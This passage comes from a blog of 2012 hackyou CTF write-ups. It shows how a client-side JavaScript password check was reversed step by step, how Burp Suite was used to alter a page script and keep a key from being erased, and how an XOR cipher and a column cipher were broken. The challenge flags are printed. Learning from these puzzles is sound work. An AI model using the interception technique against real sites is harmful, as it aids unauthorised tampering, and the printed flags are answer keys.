PasswordIsCorrect = false;
}
if (QuoteOfTheDay.indexOf(SuppliedPassword.charAt(9)) != -1) {
PasswordIsCorrect = false;
}
if (! PasswordIsCorrect) {
PasswordPrompt = "Password incorrect. Repeat the password";
}
} while (! PasswordIsCorrect);
I solved this by going through the if statements one at a time and constructing my password as I went. All of the if statements result in the PasswordIsCorrect being set to false (except the first one). So let's do it!1. SuppliedPassword.length == 12
Obviously the length of the password has to be twelve, so we start with
xxxxxxxxxxxx2. ! IsNumber(SuppliedPassword.charAt(0))
The first char must be a number.
0xxxxxxxxxxx3. ! IsNumber(SuppliedPassword.charAt(10)) || ! IsNumber(SuppliedPassword.charAt(1))
The 11th and 2nd char must be a number.
00xxxxxxxx0x4. ! IsNumber(SuppliedPassword.charAt(6)) || ! IsNumber(SuppliedPassword.charAt(2))
The 3rd and 7th char must be a number.
000xxx0xxx0x5. Number(SuppliedPassword.charAt(0)) + Number(SuppliedPassword.charAt(1)) + Number(SuppliedPassword.charAt(2)) + Number(SuppliedPassword.charAt(6)) + Number(SuppliedPassword.charAt(10)) ! = SuppliedPassword.length
All of the numbers must add up to twelve.
422xxx2xxx2x6. SuppliedPassword.charAt(7) ! = PasswordPrompt.charAt(PasswordPrompt.length - 1)
The 8th char must be the last char of the string PasswordPrompt, which is the letter 'd'.
422xxx2dxx2x7. SuppliedPassword.charCodeAt(7) ! = SuppliedPassword.charCodeAt(8) - Number(SuppliedPassword.charAt(0)) / Number(SuppliedPassword.charAt(0))
The char at spot 8 must be 1 letter less than the one at 8 (charAt(0)/charAt(0) always equals 1).
422xxx2dex2x8. Number(SuppliedPassword.charAt(2)) ! = Number(SuppliedPassword.charAt(6)) || Number(SuppliedPassword.charAt(6)) ! = Number(SuppliedPassword.charAt(1))
The number at spot 3 must equal the 7th and the 7th must equal the second. No change.
9. Number(SuppliedPassword.charAt(1)) * Number(SuppliedPassword.charAt(10)) ! = 0
Either the second char or the 11th must be a 0. Since the second, third, and seventh must be the same, I chose the 10th. The first number must be adjusted to keep the sum of the numbers at 12.
622xxx2dex0x10. Number(SuppliedPassword.charAt(1)) - Number(SuppliedPassword.charAt(10)) != SuppliedPassword.charAt(3).length
The difference between spot 2 and spot 11 must equal 1. We must then make spots 2, 3, and 7 equal to satisfy an earlier condition. We must then adjust spot 0 so that all the numbers add to 12. There is only one possible solution here so we know we are getting close to the real solution.
911xxx1dex0x11. SuppliedPassword.charAt(11) + SuppliedPassword.charAt(3) + SuppliedPassword.charAt(4) != TodaysSecretPassphrase.substr(Number(SuppliedPassword.charAt(0)) / 2, 3)
This says that the concatenation of the chars at spots 12, 4, and 5 must equal the substring starting at spot 0 divided by 2. Spot 0 is 9 which is divided by 2 and rounded down to 4 because it is int division. The substring of the passphrase is 'bin' to which we set the chars 12, 4, and 5.
911inx1dex0b12. ! IsLowercase(SuppliedPassword.charAt(9))
The 10th char must be lowercase. No change.
13. QuoteOfTheDay.indexOf(SuppliedPassword.charAt(9)) != -1
The 10th char in our string must not be in the quote of the day (see the script above). I chose the letter 'j'.
911inx1dej0b
We now have the password and we enter it only to find out there as an annoying countdown/self-destruct sequence that destroys the key before we can copy and paste it. I used burpsuite to change the script before it got to my browser so that it took longer to time out which gave me sufficient time to copy and paste the key: n0-evidence-0n1y-this-8030.
-- suntzu_II
hackyou CTF: Crypto 200
This challenge was a bit more of a traditional crypto challenge (Download Here) with a big clue coming in the form of the name of the challenge, XOROWbIu WbI(|)P. The big thing I got from this was the reference to XOR, enter xortool.py (xortool). At xortool's site they say that the most common character in ASCII is 0x20 so that is the first thing I tested.
-- suntzu_II
xortool.py cry200.txt.enc -c 20This printed out a key of '\x96\xa4*\xc3\xc4:' which, when applied to the file gave me something close to an answer.
Cong (tula& ons!r hiler=he q' ck b &wn f=1 jum": ove ithe > ........I noticed that the only every 5th and 6th byte of this message was unintelligible, so I changed the 5th and 6th chars of the key manually in a python script until the message was correct. The script is below.
key = '\x96\xa4*\xc3\x96\x73'
counter = 0
answer = ''
for i in open('cry200.txt', 'rb').read():
answer += chr(ord(i)^ord(key[counter%6]))
counter += 1
print answer
Answer: Congratulations! While the quick brown fox jumps over the lazy dog, the plain xor cipher is still very unsecure when the key is much shorter than the message. Your flag: Foxie Dogzie Crypto PwndAnd that's all there is to it!
-- suntzu_II
Sunday, October 14, 2012
hackyou CTF: Crypto 100
This challenge revolves around a picture of a book with some writing in it. The picture is shown below.
There are a ton of distractions in this picture that caused me to go off and try all sorts of strange decryptions. In the end, it's a ridiculously simple answer. Follow the letters down each column from right to left.
The flag is HACKYOUISTHEBESTESTCTFFTW
-- suntzu_II
There are a ton of distractions in this picture that caused me to go off and try all sorts of strange decryptions. In the end, it's a ridiculously simple answer. Follow the letters down each column from right to left.
<------------------ T | T | H | O | H | F | E | E | U | A | F | S | B | I | C | T | T | E | S | K | W v C v S v T v Y v
-- suntzu_II
Subscribe to:
Posts (Atom)







